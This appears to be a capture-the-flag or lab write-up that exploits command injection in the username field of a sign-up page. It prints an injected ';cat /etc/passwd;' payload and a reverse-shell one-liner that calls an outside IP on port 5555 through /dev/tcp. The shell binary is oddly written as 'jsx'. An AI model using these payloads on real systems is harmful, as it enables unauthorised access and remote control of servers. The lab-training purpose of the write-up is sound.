Challenge 14:The Unseen Obvious

Challenge/Task

1. Command Injection

Proof-of-Concept (POC):

Command injection is a security vulnerability that allows attackers to execute arbitrary commands on a system through vulnerable application inputs. On the sign-up page, there are 4 input field. One of the field vulnerable to the command injection. I send a command at the username field , “;cat /etc/passwd;” to fetch list of users and the server respond to it.

We can try to get a reverse shell here by using this command

;echo "jsx -i >& /dev/tcp/143.198.205.200/5555 0>&1" >> f.sh;chmod +x f.sh;jsx f.sh

This command attempts to append a line to a file named f.sh, which, when executed, will open a reverse shell to the IP address 143.198.205.200 on port 5555. Then, it makes the file executable and runs it using Bash.

Listening to port 5555.

We got a reverse shell after clicking the “Sign-Up” button.

To proof it, I run id and whoami command to show the server belongs to the victim.